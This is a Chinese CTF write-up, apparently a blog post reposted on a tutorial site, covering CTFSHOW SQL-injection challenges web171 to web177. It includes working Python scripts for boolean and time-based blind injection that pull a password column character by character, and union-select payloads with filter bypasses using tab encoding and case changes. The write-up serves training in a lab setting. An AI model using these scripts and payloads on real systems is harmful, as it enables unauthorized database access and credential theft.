zl程序教程

您现在的位置是:首页 >  后端

当前栏目

CTFSHOW刷题之旅--SQL注入[171-253](未完)

注入SQL -- 刷题 ctfshow 171
2023-06-13 09:18:22 时间

挖洞可能要暂告一段时间了。从20年到现在22年初我在些漏洞平台获得的一些奖励啥的已经放到了关于本站有兴趣的同学可以蛮看一下

web171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

由sql查询语句可知,这里是由单引号包围的字符型注入.有一点奇怪的地方是,这里select的字段为2个(且没有select id值下方不可能存在id的结果)。按理order by出来应为字段数为2.估计是出题人展示错了sql查询语句。

查看下回显处,这里三个字段都有回显随便挑一个查询完事(这里不多说了很基础的东西,具体想看的翻我前面sqli靶场文章)

web172

嗯,第二题就是俩列了。估计上面的查询语句只是用作参考的。

web173

web174

这题将返回数据中含有数字的返回给过滤了。所以我们可以用盲注来获取flag。脚本如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@File  : web174time.py
@Author: YanXia
@Date  : 2022/3/6 18:00
@email  : yx535@qq.com
@link:https://535yx.cn
'''
import requests
headers = {'content-type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
dict="qazwsxedcrfvtgbyhnujmikolp123456789{}-"
url="http://03214b84-c02b-4c00-8760-fe70aef13270.challenge.ctf.show/api/v4.php"
flag=""
for i in range(1,100):
    for s in dict:
     payload = "?id=1' and if(substr((select password from ctfshow_user4 where username=\"flag\"),%d,1)=\"%s\",1,0)--+"%(i,s)
     r=requests.get(url+payload,headers=headers)
     if 'admin' in r.text:
         flag+=s
         print(flag)

web175

这题直接将ASCII码0-127的字符都禁止返回了。所以上题的布尔盲注方法就不可以用了。我们可以用时间盲注的方法来做

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@File  : web175.py
@Author: YanXia
@Date  : 2022/3/6 18:59
@email  : yx535@qq.com
@link:https://535yx.cn
'''
import requests,time
headers = {'content-type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
dict="qazwsxedcrfvtgbyhnujmikolp123456789{}-"
url="http://02088699-eacd-43e1-acf7-e5baafeabdf3.challenge.ctf.show/api/v5.php"
flag=""
for i in range(1,100):
    for s in dict:
     payload = "?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),%d,1)=\"%s\",sleep(5),0)--+"%(i,s)
     start = time.time()
     r=requests.get(url+payload,headers=headers)
     end = time.time()
     if end-start >4.5:
         flag+=s
         print(flag)

web176

这题开始就有过滤了。下图发现被ban了

经过测试,只是select被过滤。可以利用大小写绕过

最后得到

web177

这里过滤了空格,我们可以用%09来代替空格

payload:-1'%09union%09select%091,2,password%09from%09ctfshow_user--%09